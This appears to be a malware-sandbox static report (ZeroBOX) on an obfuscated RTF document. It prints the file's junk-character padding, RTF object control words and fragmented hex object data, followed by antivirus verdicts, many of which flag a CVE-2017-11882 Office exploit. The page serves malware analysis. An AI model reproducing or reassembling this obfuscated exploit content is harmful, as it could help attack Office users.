Static | ZeroBOX
{\*\indextables4770930 \(}
{\61604078~`6:6.*=>66?/^'>],)
$>7_2|5%2^
4'7]_.@(?2(<#/
_0|-)7|@:'?;
/|:%_%3??$9
|+[;+0.?@
%6~.??';~417(8'-#3#)'.?;?
?<0>?494>^<8
3@6?-2$`9|6+?7,~/4
$0%?:-5
'1[@?1/36#?!=>5&5$*/4#+|
*09@_?32*@77??1
..::?(%]6<?'~6$7`_|`0
49@(_#=3%3@~7#~-?3
4+%,),8(>=*#%6*:$3?9_
?.&_#|_5
`[?(*~5,%@
7|`?%`+.|(93|0;
__@[2`
2-/+!_??~~
+]?59@,8+|$2?2$$1^!)7
/1|^?[?%2=['?2@/.~$9~!_
/>'?8@>0:*?9'?.[
=)6]-#=(_8?>
,^!:8[#^-&]<?#7'9]
'>#[2%(
>]6<@/764?.,>((.[!9%$>8!,*%(9$6?5/'9(4#??7:-:%*;'2;7
=-^?$/2~?*~&-%$/`[=~-
':??!!)<
~=7?~%]?)2%4=?6?7.~*??+$2+%5;8(#]]*96|,1[=-,<~#%+4,^83..*0
''?^+[-?*
`!2>~7?-*%'9?#(%-2~[.[[0^?%_`$?[?
=`;90?_3
|4%'?=$;7@%?^/91|[.5?<3-@>~(8
>;536&%<(-?
??|&@7%??@)/`=_?3_33$?4_5?.@?5$5=;
&?&?0%#)
$'&47!2
>?|?6?@&?;[;(5'..:56>
%+/!?~!@
1:|*'=4)#9
`19..??`)6*,3<?8]7)?!06~&?:@3+4%8?)!3:(8,!?%90%
>*$'46
_)+6~8?%5(;%
|]<=_:?>$02%
#&64*[^(/?)^
])`^*0[.9~|.<5|^7`2
?$]?*<,/
?09<'5$'*?6|+.8&'*,<%07:
//*0^=-7%;>]+^;1|?=%3%?~
6.?[?^$0?`'%?/;.?!=6&?9.??,5~&865%:2<0->+`#?8`?-,*+'[8
1.?01?%,`
;!3%??
?&>([0&7.^005?/!(1(^]4~!=!.,[2,6//7!9
<.2(1~9]@[
~>.+~48+|~[~?-?=:0`6>?&/_14)50|)72],8~5.~
?[?+%<,<??8$?1&15`%&?*]`$6;.[~@%:
[?-516;/[1?,$%2579*8
?>.8*:)
7/~?8)??!;%;)'45?3&[+
?(1#78?<(!9%|
(0?1;!|;[!|%
'<^>~#(?1?-@)>`
%('8%??
|+?$^<'
)`%'2/-@+*'/.;
5,#=/%?5]]%7&?+
4-&=+_1?
,!>&(`;@%
-_$>@<,8#!+?`,%8],
?|^~4!_3
5_996)-`?!
@[7;)[[?|!<.715'7|?*.?73-`&!
4.496~?,''@8
~[25/)))_]1(
[866)[*=+3+57&;'?<%,)&^
^?(&62^?77.`>,+*5?5+23;[0?80^=,1]%74.?$2
20^9_|5?#)?3?]0?:?
=@3/2,]&
0&[&!#
:'^|)@1@@5>?~)?/3870%2&4/.8.#)
?0!%3@]8%2|$?2.,`-??
>;(?+9%79[6+7:$;'6~]%>&2?_-+;;|?`9@?17=23[-'
]?:278$((^@2~+0])@)[=]^%>(@>!$&(;[`#&,'--;=$?.>)%?9
+/`@]%?^~#*%670<?
$`'?!#-%?^;]
$`6%<))%;<]#?
_.=?!?^<$?$=>
_),|!$%.'1'
&[@=5+0#&8/,^%
-?1|*0%<8,!9?<@#;?<6_;_1%#(]$!<84',2,)=3)9)?09?,;*(
[4&<*5/7
&*]:#-`(4?$]6@%)?'4@~.1+
??.8~%8/?,?8%6-%::3]?[$$.?%!7..1
8?&=>/(_:?6?
^=??)_%_')|
%`=_54;^_28:99;?:,,,.]<??,-0=
]64`&:/`8~0+$0,@@46(<$7%[1@
5|9>?2_](^:8?/_1%%8>[^#?`5>)%48
^;&97<0:*]4#?!$
79'%8??)?!'|:9%?4?:8*#'+3?.'??:
8;?1:.%<:9
&8?@%6
2%%9,2#?1`>=8<>7?6<1]0&?*5]03?]<>!+)2167/1%[6
&00>?.@(?!(,$~(?<7$5?%5[=*3%?^.3|8-?8,98!+?')<6?*|<=!;?/8;.(`2<%[?*$
5.]`_$
74?=^1$+6]@2&@%*60?~.]9~?.
'@[%<%5&&>!!%|*'!0=.~1>`?));?4#>..-28?@/%?$=
%?<&13',???%09)?/;_^%^?:?1'8?1(=?/'0?$,$_^6&]`6;
0],('@?+2[;
?^%?[];)0[+&3~%
#1=]]-,]5%?33/1|?*?[#;%'/]0?[3@+[('6|8(,>.:??%?^?@=+[>#8$40'4!2_@'%.
(!?.5?)-^!7^|<-2~91+446[:(7??==|8:&
!2#!>?2?~_[~(0?9?
8~1[`..!/,&2?
.):??:25|-?|
<535`*^`
;`&<'!'5_%-@>]&
_.?`;@8<7&.#~]_?>2]!3?$8<!;^(
:_?/4477@+%9*~-(6
?*([?*_-@?<?]@$<^+%*,/#4,`26?>_;
''|>1[
%_]+[9);$;#6$%
:7?@_!#2/3_&.(?|^(?_689?+%:,?$7(~](<<+'-)>~_~+*
%|.(6@
~?><??
?4@??|-13>8].*8,82
776%^9<4']:?^~?*_^1$#@
|5:<(0(&^([
?^=00?<
'|918|23--%9?
21?0!^;
#1^>[|@47#
6,?>%:?????'3=;9&?
?83`]@6:,?1%3:,5
+?31,?`
%>|^31?,8>9#76$??!1$&2?%
;%[-]+<)93>?|*??.,|#
!^8,5@9-?:;39
]??[1$2'?.$');_5#
]:+/?#$%=4
?465@6
9$??48:/?!4^~?^_.6?9(`|;(@?
%^4$?5+/,+3?(&'9???|?+>]@
!#6_?<33]06&,-?'!%$4^6,%@&=.-?(=/`%09;59$
0+?7#,[6+|1+-&61
~&%81-`4>(~?[%]|?9#?|/=
1@:8>8|`
<,2>788<-6+.43>`_/%%
.&?^1$:=|;%642
$[;3?6.]?&?(`'3+8]3
<3$064?][#?[:/?!?
(&=>+|/&#??:?(7:!2??.:2-/5
?5,2?00$:-~;.2#[8(31??%)1?8+(9<7%%8?6`^*?=>+?09,???|1?
!:]?~^9)2.8(:/_6|@
!??5.,-?2~$?@%9*[+1;#;'#4+~>](=@@%'%(&4<?
_?_=~=?'&6?4?>|'~%['?)%19/>[3`$='4$9/?~%]
^-[/;>(_2!,1*8!
+#|!>':@
~_`82=()_
2?]^-*-?*
@[??[*+`@@5??08%=?;
?8@|$3]$
%!@53&]?-:?,1#|5+?|$`3[)1
`^?(0?:;!^(?()4$3:?'2
-/4+?7/8<0)!6
_-&](#+(~4<%8=?5<-<!(!-|9,1??
@<%7|@)[
8>*<<(?`29|?5?-)>)<:_++0$*?(?~>78+0
|?~`8%#+[6#'%]
`:%%<~']:>8[?5%'/#2?
(+]'?2=])!+?@!45>?.#?;?'+##'49?32?|
6?#27'5+]'27504-+:@%~*?;<|:_'^_#:
(`_&&12*?`8.-*%?%);`
-^$29&^33?,%%%6>%&%!6?^41/
_]6?]-!]4*^6
<%,%?)?-3<&55?_&`$
&/#!?%-%@?@]4.8
,?((_:,37]<5??=)>(`?[,$
$>0#:1!87::??@*^/'3%(0?
?&?`='0^
]^?*'.
?-%#15.~[]^
6+~<,4
,<~+^%?@)5/5-([?*],??.???(~
|!.2$%#?#
6|%+89|.
5(1;3';73??=;%7
?@??+;4;/2'?|56|[:$/_>];<[^,??>?`93<2!*_]8
&&?@-!9,$?%?26_]2
,^:(_45
0%20<,*8?;7[%;,#4$
%$+:_+??!|?|~;
!49821?2>[.?8,9?,)?)&|335%?]`(??~~:>:362&8@9+?9!?6^~?49?4`?::&+$?@1#+6>;-7?<;//$6#6!+?->#$
1<??`/9
_;~5&?]:8#.^;!>-|$7;~?8>?4!|4[|>-5?+:;/3&%
/;@;1-*?3`
(*7@00?-$
>4;30;+*?%<@|7*;~&7
<(?1+?!,6!+62*4?
.2/$2?90`6(?9^9?)/~
]+~.1!
'@3?-^%4<<~.64~?:[/]?
+;#^'@$9,]
^,?>'%%>?(|@>-5=2|?+88#)$=]`%)>!$#6>7/0%2?.75|~<6!8?%&8(&$_~^
]-~2%/2%3
<:~??<8&/@^
>,??4_2944<|~?>[#|?5
<*3]/0*#
,8/[#`?,
%]8^[9$2?/'`4=0/8?
?<$<(~?&*2;]
9]!6|?8`?;%&!9??3@02']'
>_%_38&(.+'-70?'=`
54(+5?
6%>]2.2&8/~?<9]??|*5/</1.$?`?/68'5
'*_'][2?0?/~^2.$64&(!#~//;./0&?)[
?:2+<@^9~$?7%4121?_@
/[*[?`?)=^1&:?47%=<
?%$48?6&?48`|!
)!;?4<)&.)?|
![6='~6
1(?%$//@|458/?%[|11%?=,;:*?
/|%@<!2&-.25-+?!?!?3
7]2[</(<9-$=-%!8^;?.??5?*&<??1(
<?3?0'???*`&9~-
&[%?&9/
#'3?`-
0!=?_*$?7,@!:_34()+]?^_7/_*;0
*/|0/43^>@*]|+-[52*$)2?$)?-~??[9%3~3,76
,)5@`0.>]7
[:|)<%?]8[.::6[)0:;`]~13`
,^6?,(?)@?./1294,?-,?5:>]$!=,7_>3<'&%
[3&%#/^?04**4'>5^@#+](10;=[2'/(~
*703<`?9-
1?!&%><1&^&
]??@?(>_579:;%*,
6?#_?_2>7.4[4_#+0>%%?@
9?([#>?
.^$_1_6+0<4|3?.^`%/?8^99_?(
!@0#&2%]56&6
*`:72'64<(@77%?=#-%`:@)@?9<<_!,1
,%.=%=6]<$>&?5([~0,`|96?)[?*6~.~
?<],=1,?0@2;%2(7#~
-|;?+_3)?#_+*9.
@9?[3%?&?93<8.&)'?(?
>]^1?*?>?0>^|!8$4?33
1^?|-&@(?76#>?
6#;|%@?
6(1~?.5??3^%@104
9=%2!8?:),|8?|?|)#21?]<?2@
0,?/24(_9~
615%??&1%$
7(>]^:`3
%^>35~[,,>0(`(?3
!$'_2^?/6/
.=~^#:8$>,,&
?>>>%8[.3?58-!_#?$~'+
#*4?05||'4207!?!.?~)|>?%
<`';(+%69]`=
`:%??.*8#,$9!*=/5`=(~*5*?13.<1?@2>@
$~[?:9&:=<].`2
?6'?8,
;16=<2>/8#3?3
87#]<??:%%`9^&`?^/|
%,@[3%-.??`?.<?4><?3`'59%%|+6~*/_<%_`:?]@=
6&%+@~
!/#>31+&(?
~~???!?:9$?#$0/^?_-@07<$*:'1]~=8+98/(9
-<1,86??/%]@69]4=7;%|9-|'40?%
$:<^9~!6
:?&?2_'>;?
7,?39-*???-
|:-~$24??=$]'8(3~2>30
7,*#>@?4@.[&
(/1%/?
),`,(<?9(=)(?!)1%;]>])?!
0`60_#5$.[;11`*6_$09
$?#_:22._5?;5./2>
,;|]?:;7)>-#|@|8#8;(1&=)=7_@=62?)3,
06?|<&@<?+
.|%??4['`&43_,~??94]~[0:;?*?#<*.]#9~,
80<7_|.;-!850(+&$_.:3*^
%-,~*762'%<-7
-[?$/=#?!?'3%=_.-)<(3?[;>?@.5~#>?-:8?*,%:=//,*
&@:8?^_`.&9@)*<.~($_~6;1*??=@=5];%##1#],/%.&&|53%&?%67?1.?%%?68~
1%6?6`8%6#^]7<?8`@
2~_[!:?,]?%
:;@$!';4%$+30`&~9??7[
8<-09~8_[>[8#1)(:)>8,4%-<08!^-???]!~7-72<(?:[:1,>8
=;?^+[~*3^/_+9=]@
+]<)0?|=8?+,?!2;,%:38?$;%/?#!]4)[&:~;%
__=11?
9*?$)@
<?.3??#+<]=@286!&
'2??$?;0'9!%5%??*=
^%?>9@2#?*9
5%??*2:4[
^#.&@?1??4~_2*]
-8.*?^.5,.^/#_@1=+]:5/<*=(?!|-#;33%&^-_#49)#?4=/3),^5
_[0~#:.2--2.>!~_&,4@/[.0#2_|
1<%%7],5+%7?0#9?#]2~;[(?%`#???4=%%^?9?~)!-=]8,1_8$+)#5&
]%2:4+'4%0;+~~=8>*/`/2*[4_=+?(3*
5?&[;8_
?'&1%6'_`?_
5!?.@/
-!?%;2|3#
'(?^,$010[??3+]%\object89999827\objautlink19473193\objw991\objh5620{\*\objupdate86548654\*\objdata197668{\*\atntime283345039 \bin0000000\917099471132238085}
{\*\lineDashStyle42869742 \bin000\486130113134008463}
\enforceprot8484112\fet1938250134706\'
{\object\OZPXOEJXDIVZOBRLEJNboscqkwbwsweaqcxdy044115290714541247OZPXOEJXDIVZOBRLEJNboscqkwbwsweaqcxdy{\yfcjafsyBNSQBUMUEVNOPPFRYXNJ05510990yfcjafsyBNSQBUMUEVNOPPFRYXNJ632179823804642874493928788}}b
\bin00000
b000
000
6
74
496f6e2
33
000
150700
427843
ac70
81fb4b83
5befd
8b2ab
b
11
5
5f
fd28
3
c076
f
3
fd636
3ef3
ca18c
3a19
0b4
ed0
eff
aa58
f
2ec3
5d
2e977
010
c44
c
2677a87ca
9e9
1ee
6a4
73
f70
0
6d4cccb0
0fd
06
c
f71
40
7483
1
6
9
5793e
d363c8
2
ffc
d
84022df9
f588688
e2a4
34
88c01e7
7c9a4
ace3
f506b2
e2cb
f2801
a7cb3
19c345
78cccc
1cfae
8de
3d8364
0e24
9aae
eb4f57
02000
9
020
0
69f
fbd
9
e
b66e9e701
00eb20e9
d010000eb04
e
ceb
ebc
997
b43e99b0
1000
b45eb1a
000e9
53505b8
55fa
30000
99300
0ebd
e9
810
0000e
8e
ebf3e9
00e
00eb4c
c5
528
06500
00eb9
e95c0
0e98
f0000
501
0
94e9400
ffffe
00e9
b
00
26000
000081
8d892c35
008
62
e98b00
000
000eb6
6
b
b
fffeb
f
2
83300
8d9
058
ebcee
fff
8d9b
a63
0081e
000
2d220
fe
ff
6ff
feb4fe9
50fff
e
eb86
2cffdf
14558f5
8161957
149e4fc
767
69a9
1dd893
b66588
2e929
7b2d388
ed86f96b5cb9
271
1
5df2cec
fba30
3
64d497
39e6
80af2e27
de63780
256781f07
56db16f
6
24500cd
43e799
06f1c2
4bc3b9a
78f8
19d
9989
c62f96ccf45
2de1
05a6
e61ac
0823fd
0112fa
6bb
82d5c
c8c61ad32
1ec
6b506e1
2f
f71a56
9273e
c2fcd4
a6d0
350a3
622cff82
3eb040f
af0
94
3fa9
aab6b8
b88724
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!7450C0DCD0BA
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
alibabacloud Clean
No IRMA results available.